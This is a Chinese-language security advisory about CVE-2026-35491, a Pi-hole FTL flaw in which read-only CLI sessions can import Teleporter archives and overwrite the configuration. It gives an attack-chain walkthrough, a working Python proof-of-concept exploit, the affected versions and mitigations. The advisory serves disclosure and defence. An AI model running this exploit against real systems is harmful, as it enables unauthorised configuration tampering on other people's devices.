IPBUF安全漏洞报告
English
CVE-2026-35491 CVSS 6.1 中危

CVE-2026-35491 Pi-hole FTL权限绕过漏洞

披露日期: 2026-04-07

漏洞信息

漏洞编号
CVE-2026-35491
漏洞类型
权限提升
CVSS评分
6.1 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Pi-hole FTL

相关标签

权限提升访问控制绕过Pi-holeAPI安全配置管理

漏洞概述

Pi-hole FTL 在 6.0 至 6.6 之前的版本中存在严重的权限绕过漏洞。该组件提供 CLI 密码功能,旨在创建仅用于读取配置的 API 会话。虽然 `/api/config` 接口正确拦截了会话的写操作,但 `/api/teleporter` 接口却允许 CLI 会话导入 Teleporter 档案。攻击者可利用此缺陷,通过只读会话上传恶意配置档案,进而覆盖系统关键配置,成功绕过安全限制。

技术细节

该漏洞源于 Pi-hole FTL 在处理不同 API 端点时的权限校验逻辑不一致。受影响版本允许通过 CLI 密码创建只读会话。虽然 `/api/config` 端点正确拦截了此类会话的修改请求,但 `/api/teleporter` 端点存在逻辑缺陷,未对 CLI 会话的导入操作进行同等严格限制。利用该漏洞时,攻击者首先需要获取本地低权限 CLI 会话(通过 CLI 密码)。随后,攻击者构造包含恶意配置的 Teleporter 档案,向 `/api/teleporter` 发送上传请求。由于权限校验缺失,服务器接受该档案并解压覆盖原有配置,导致原本只读的会话实现了配置篡改,严重破坏了系统的完整性和可用性。

攻击链分析

STEP 1
获取低权限会话
攻击者利用 CLI 密码功能进行身份验证,获取一个理论上仅具有只读权限的 API 会话 Token。
STEP 2
构造恶意档案
攻击者创建一个特制的 Teleporter 档案(通常是 ZIP 格式),其中包含旨在覆盖系统原有配置的恶意配置文件。
STEP 3
发送利用请求
攻击者使用获取的只读会话 Token,向 `/api/teleporter` 端点发送上传请求,上传构造好的恶意档案。
STEP 4
覆盖配置
服务器端 `/api/teleporter` 接口未正确校验会话权限,处理上传的档案并解压覆盖系统配置,导致权限提升。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import zipfile import io target_url = "http://pi-hole-local:80" cli_password = "your_cli_password_here" # 1. Authenticate to get a CLI session (Read-only) session = requests.Session() auth_resp = session.post(f"{target_url}/api/auth", json={"password": cli_password}) if auth_resp.status_code != 200: print("[!] Failed to authenticate with CLI password") exit(1) print("[+] CLI Session established successfully") # 2. Create a malicious Teleporter archive (ZIP) # This archive contains configuration files intended to overwrite existing settings zip_buffer = io.BytesIO() with zipfile.ZipFile(zip_buffer, 'w', zipfile.ZIP_DEFLATED) as zf: # Example: Adding a config file that changes settings # Note: Actual internal filenames depend on Pi-hole's Teleporter structure zf.writestr("etc/pihole/setupVars.conf", "MALICIOUS_CONFIG=true") zip_buffer.seek(0) print("[+] Malicious Teleporter archive created") # 3. Exploit: Upload the archive via /api/teleporter # The vulnerability allows the CLI session to import, which writes to disk files = {'file': ('exploit_teleporter.zip', zip_buffer, 'application/zip')} upload_resp = session.post(f"{target_url}/api/teleporter", files=files) if upload_resp.status_code == 200: print("[+] Exploit successful! Configuration overwritten via Teleporter import.") else: print(f"[-] Exploit failed. Status code: {upload_resp.status_code}")

影响范围

Pi-hole FTL >= 6.0, < 6.6

防御指南

临时缓解措施
如果无法立即升级,建议暂时禁用 webserver.api.cli_pw 功能,或者在网络层面严格限制对 /api/teleporter 端点的访问,仅允许可信的管理主机连接。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表